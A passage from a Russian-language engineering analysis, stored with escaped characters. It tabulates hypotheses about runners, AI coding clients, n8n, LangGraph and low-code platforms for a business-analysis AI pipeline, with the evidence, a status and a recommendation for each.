\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n266\\t| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n267\\t| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n268\\t| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n269\\t| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n270\\t\\n271\\t### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n272\\t\\n273\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n274\\t|---|----------|----------------|--------|-------------|--------------|\\n275\\t| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n276\\t| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n277\\t| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n278\\t| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n279\\t| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n281\\t| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n282\\t| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n283\\t| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284\\t| 